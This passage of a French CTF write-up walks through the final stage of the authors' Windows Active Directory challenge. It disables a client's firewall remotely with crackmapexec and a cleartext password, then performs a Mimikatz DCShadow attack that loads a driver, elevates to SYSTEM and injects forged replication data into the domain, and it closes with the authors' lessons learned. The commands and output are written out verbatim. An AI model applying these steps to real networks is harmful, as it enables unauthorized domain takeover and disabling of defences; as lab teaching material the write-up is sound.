SMB 10.69.88.23 445 CLIENT01 LocalConSecRules N/A (GPO-store only)
SMB 10.69.88.23 445 CLIENT01 InboundUserNotification Enable
SMB 10.69.88.23 445 CLIENT01 RemoteManagement Disable
SMB 10.69.88.23 445 CLIENT01 UnicastResponseToMulticast Enable
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Logging:
SMB 10.69.88.23 445 CLIENT01 LogAllowedConnections Disable
SMB 10.69.88.23 445 CLIENT01 LogDroppedConnections Disable
SMB 10.69.88.23 445 CLIENT01 FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB 10.69.88.23 445 CLIENT01 MaxFileSize 4096
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Public Profile Settings:
SMB 10.69.88.23 445 CLIENT01 ----------------------------------------------------------------------
SMB 10.69.88.23 445 CLIENT01 State ON
SMB 10.69.88.23 445 CLIENT01 Firewall Policy BlockInbound,AllowOutbound
SMB 10.69.88.23 445 CLIENT01 LocalFirewallRules N/A (GPO-store only)
SMB 10.69.88.23 445 CLIENT01 LocalConSecRules N/A (GPO-store only)
SMB 10.69.88.23 445 CLIENT01 InboundUserNotification Enable
SMB 10.69.88.23 445 CLIENT01 RemoteManagement Disable
SMB 10.69.88.23 445 CLIENT01 UnicastResponseToMulticast Enable
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Logging:
SMB 10.69.88.23 445 CLIENT01 LogAllowedConnections Disable
SMB 10.69.88.23 445 CLIENT01 LogDroppedConnections Disable
SMB 10.69.88.23 445 CLIENT01 FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB 10.69.88.23 445 CLIENT01 MaxFileSize 4096
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Ok.
Tous les profils sont donc activés. Ok, maintenant, on va désactiver l’ensemble des profils du pare-feu pour éviter tout soucis. Cela se fait avec la commande netsh advfirewall set allprofiles state off
.
$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'netsh advfirewall set allprofiles state off'
SMB 10.69.88.23 445 CLIENT01 [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:NORZH) (signing:False) (SMBv1:True)
SMB 10.69.88.23 445 CLIENT01 [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)
SMB 10.69.88.23 445 CLIENT01 [+] Executed command
Une petite vérification, histoire de s’assurer que la commande est bien passée et a eu les actions souhaitées.
$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'netsh advfirewall show allprofiles'
SMB 10.69.88.23 445 CLIENT01 [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:NORZH) (signing:False) (SMBv1:True)
SMB 10.69.88.23 445 CLIENT01 [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)
SMB 10.69.88.23 445 CLIENT01 [+] Executed command
SMB 10.69.88.23 445 CLIENT01 Domain Profile Settings:
SMB 10.69.88.23 445 CLIENT01 ----------------------------------------------------------------------
SMB 10.69.88.23 445 CLIENT01 State OFF
SMB 10.69.88.23 445 CLIENT01 Firewall Policy BlockInbound,AllowOutbound
SMB 10.69.88.23 445 CLIENT01 LocalFirewallRules N/A (GPO-store only)
SMB 10.69.88.23 445 CLIENT01 LocalConSecRules N/A (GPO-store only)
SMB 10.69.88.23 445 CLIENT01 InboundUserNotification Enable
SMB 10.69.88.23 445 CLIENT01 RemoteManagement Disable
SMB 10.69.88.23 445 CLIENT01 UnicastResponseToMulticast Enable
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Logging:
SMB 10.69.88.23 445 CLIENT01 LogAllowedConnections Disable
SMB 10.69.88.23 445 CLIENT01 LogDroppedConnections Disable
SMB 10.69.88.23 445 CLIENT01 FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB 10.69.88.23 445 CLIENT01 MaxFileSize 4096
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Private Profile Settings:
SMB 10.69.88.23 445 CLIENT01 ----------------------------------------------------------------------
SMB 10.69.88.23 445 CLIENT01 State OFF
SMB 10.69.88.23 445 CLIENT01 Firewall Policy BlockInbound,AllowOutbound
SMB 10.69.88.23 445 CLIENT01 LocalFirewallRules N/A (GPO-store only)
SMB 10.69.88.23 445 CLIENT01 LocalConSecRules N/A (GPO-store only)
SMB 10.69.88.23 445 CLIENT01 InboundUserNotification Enable
SMB 10.69.88.23 445 CLIENT01 RemoteManagement Disable
SMB 10.69.88.23 445 CLIENT01 UnicastResponseToMulticast Enable
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Logging:
SMB 10.69.88.23 445 CLIENT01 LogAllowedConnections Disable
SMB 10.69.88.23 445 CLIENT01 LogDroppedConnections Disable
SMB 10.69.88.23 445 CLIENT01 FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB 10.69.88.23 445 CLIENT01 MaxFileSize 4096
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Public Profile Settings:
SMB 10.69.88.23 445 CLIENT01 ----------------------------------------------------------------------
SMB 10.69.88.23 445 CLIENT01 State OFF
SMB 10.69.88.23 445 CLIENT01 Firewall Policy BlockInbound,AllowOutbound
SMB 10.69.88.23 445 CLIENT01 LocalFirewallRules N/A (GPO-store only)
SMB 10.69.88.23 445 CLIENT01 LocalConSecRules N/A (GPO-store only)
SMB 10.69.88.23 445 CLIENT01 InboundUserNotification Enable
SMB 10.69.88.23 445 CLIENT01 RemoteManagement Disable
SMB 10.69.88.23 445 CLIENT01 UnicastResponseToMulticast Enable
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Logging:
SMB 10.69.88.23 445 CLIENT01 LogAllowedConnections Disable
SMB 10.69.88.23 445 CLIENT01 LogDroppedConnections Disable
SMB 10.69.88.23 445 CLIENT01 FileName %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB 10.69.88.23 445 CLIENT01 MaxFileSize 4096
SMB 10.69.88.23 445 CLIENT01
SMB 10.69.88.23 445 CLIENT01 Ok.
Connexion RDP
Tout semble prêt pour l’exploitation ! On peut donc commencer par se connecter en RDP à la machine cliente. J’utilise l’outil remmina car il permet de mettre en place un dossier partagé entre la machine attaquante et la cible de la connexion RDP. On va voir que cela s’avère particulièrement utile dans notre cas.
Exploitation DC Shadow
L’exploitation de l’attaque DCShadow peut se faire avec Mimikatz. Pour cela, on va apporter une version de l’outil sur la machine cible au travers du dossier partagé créé auparavant. Ainsi, on pourra l’exécuter directement depuis ici.
L’attaque se réalise en plusieurs étapes :
- Préparation des données à modifier puis création d’un faux contrôleur de domaine (simulation) à l’aide de mimikatz ;
- Enregistrement du faux DC dans l’infrastructure cible, ce qui provoque une réplication entre le DC légitime et notre faux DC et par conséquent, une validation des données injectées ;
- Dés-enregistrement du DC illégitime.
Ainsi, 2 terminaux Mimikatz sont nécessaires. Point important, il est nécessaire d’exécuter mimikatz en tant qu’administrateur pour avoir les droits nécessaires et réussir l’attaque.
Le premier terminal est utilisé afin d’enregistrer le faux contrôleur de domaine, à l’aide des commandes suivantes ;
# Chargement d'un driver pour outrepasser les restrictions et pouvoir interagir avec LSASS
mimikatz # !+
# Elevation du process à SYSTEM (pas de token::elevate car cela s'applique sur un thread)
mimikatz # !processtoken
# Utilisation du module lsadump afin de démarrer le faux DC et préparer l'injection
mimikatz # lsadump::dcshadow /object:dtargaryen /attribute:description /value:"TheGame" /replOriginatingUid:{00000000-0000-0000-0000-000000000000} /replOriginatingTime:"2017-01-01 09:00:00" /replOriginatingUsn:42
Le second terminal sert quant à lui à pousser les données souhaitées sur le vrai domaine à l’aide de la réplication.
# Utilisation du module lsadump afin de pousser les modifications sur le domaine
mimikatz # lsadump::dcshadow /push
La capture suivante illustre l’attaque sur la machine cliente ainsi que le résultat obtenu. Un message “Sync Done” suivi du dés-enregistrement du faux contrôleur semble indique la réussite de l’attaque.
Vérification et récupération du quatrième flag
Afin de vérifier si la nouvelle description ainsi que les métadonnées ont été poussées, on peut utiliser l’utilitaire repadmin sur le contrôleur de domaine. Ainsi, on va demander à afficher métadonnées de réplication pour les différents attributs de l’utilisateur Daenerys Targaryen. Cela peut se faire par l’exécution de repadmin via crackmapexec.
sudo ./cme smb 10.34.67.4 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'repadmin /showobjmeta DC01.NORZH.LAN "CN=Daenerys Targaryen,CN=Users,DC=NORZH,DC=LAN"'
SMB 10.34.67.4 445 DC01 [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:NORZH) (signing:True) (SMBv1:True)
SMB 10.34.67.4 445 DC01 [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)
SMB 10.34.67.4 445 DC01 [+] Executed command
SMB 10.34.67.4 445 DC01 27 entries.
SMB 10.34.67.4 445 DC01 Loc.USN Originating DSA Org.USN Org.Time/Date Ver Attribute
SMB 10.34.67.4 445 DC01 ======= =============== ========= ============= === =========
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 objectClass
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 cn
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 sn
SMB 10.34.67.4 445 DC01 102469 00000000-0000-0000-0000-000000000000 42 2017-01-01 09:00:00 2 description
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 givenName
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 instanceType
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 whenCreated
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 displayName
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 nTSecurityDescriptor
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 name
SMB 10.34.67.4 445 DC01 12741 Default-First-Site-Name\DC01 12741 2018-11-25 16:31:16 4 userAccountControl
SMB 10.34.67.4 445 DC01 12737 Default-First-Site-Name\DC01 12737 2018-11-25 16:31:16 1 codePage
SMB 10.34.67.4 445 DC01 12737 Default-First-Site-Name\DC01 12737 2018-11-25 16:31:16 1 countryCode
SMB 10.34.67.4 445 DC01 12738 Default-First-Site-Name\DC01 12738 2018-11-25 16:31:16 2 dBCSPwd
SMB 10.34.67.4 445 DC01 12737 Default-First-Site-Name\DC01 12737 2018-11-25 16:31:16 1 logonHours
SMB 10.34.67.4 445 DC01 12738 Default-First-Site-Name\DC01 12738 2018-11-25 16:31:16 2 unicodePwd
SMB 10.34.67.4 445 DC01 12738 Default-First-Site-Name\DC01 12738 2018-11-25 16:31:16 2 ntPwdHistory
SMB 10.34.67.4 445 DC01 12738 Default-First-Site-Name\DC01 12738 2018-11-25 16:31:16 2 pwdLastSet
SMB 10.34.67.4 445 DC01 12737 Default-First-Site-Name\DC01 12737 2018-11-25 16:31:16 1 primaryGroupID
SMB 10.34.67.4 445 DC01 12739 Default-First-Site-Name\DC01 12739 2018-11-25 16:31:16 1 supplementalCredentials
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 objectSid
SMB 10.34.67.4 445 DC01 12737 Default-First-Site-Name\DC01 12737 2018-11-25 16:31:16 1 accountExpires
SMB 10.34.67.4 445 DC01 12738 Default-First-Site-Name\DC01 12738 2018-11-25 16:31:16 2 lmPwdHistory
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 sAMAccountName
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 sAMAccountType
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 userPrincipalName
SMB 10.34.67.4 445 DC01 12736 Default-First-Site-Name\DC01 12736 2018-11-25 16:31:16 1 objectCategory
SMB 10.34.67.4 445 DC01 0 entries.
SMB 10.34.67.4 445 DC01 Type Attribute Last Mod Time Originating DSA Loc.USN Org.USN Ver
SMB 10.34.67.4 445 DC01 ======= ============ ============= ================= ======= ======= ===
SMB 10.34.67.4 445 DC01 Distinguished Name
SMB 10.34.67.4 445 DC01 =============================
Ainsi, on observe que la modification a bien été faite et que les métadonnées demandées ont bien été injectées Parfait ! Cela indique que tout a fonctionné ! L’énoncé de ce challenge indique que si l’exploitation a été réussie, alors la description de l’utilisateur Jon Snow (jsnow) devrait avoir été remplacée par le flag. On attend quelques instants puis on file vérifier l’utilisateur !
rpcclient $> queryuser 0x451
User Name : jsnow
Full Name : Jon Snow
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : ENSIBS{F33l_Th3_P0wer_0f_DCSh4d0w}
Workstations:
Comment :
Remote Dial :
Logon Time : Sun, 27 Jan 2019 20:37:45 CET
Logoff Time : Thu, 01 Jan 1970 01:00:00 CET
Kickoff Time : Thu, 14 Sep 30828 04:48:05 CEST
Password last set Time : Sun, 25 Nov 2018 16:28:20 CET
Password can change Time : Mon, 26 Nov 2018 16:28:20 CET
Password must change Time: Thu, 14 Sep 30828 04:48:05 CEST
unknown_2[0..31]...
user_rid : 0x451
group_rid: 0x200
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000041
padding1[0..7]...
logon_hrs[0..21]...
B00m ! Dernier flag attrapé ! Contrôle total du domaine et traces pouvant être effacées, mais également fin de cette épopée.
RETEX et mot de la fin
Ce paragraphe est plus un retour personnel sur le challenge, dans la mesure où nous l’avons conçu pour le Norzh CTF avec l’idée en tête de réaliser un scénario de challenge basé sur des infrastructures Windows. Avec quelques jours de recul et quelques retours, plusieurs éléments et erreurs peuvent être remontés :
- L’aspect découverte du DC, sur un autre LAN, n’avait au départ pas été pris en compte car le challenge avec été créé sur un seul LAN. Cela a rajouté une marche de complexité non prévue et un 5e flag aurait pu être placé ici ;
- L’utilisation de fichiers dits “privés” dans les répertoires de l’administrateur local puis sur le contrôleur de domaine altère légèrement le réalisme du scénario dans la mesure où dans la réalité, il est rare d’en trouver ici. Néanmoins, il nous fallait un moyen de poser les flags ainsi que les énoncés à un endroit ;
- Certains énoncés, tels que celui du DC Shadow, pouvaient ne pas être clairs.
Nous sommes néanmoins heureux d’avoir réalisé ce challenge et espérons que l’ensemble des participants l’ont apprécié !
N’hésitez pas nous faire part de vos retours ou vos questions, si besoin, via Twitter (@Haax9_ et @AzrakelK). Pour les personnes souhaitant refaire le challenge, il devrait être également possible de vous donner les machines virtuelles, au cas par cas.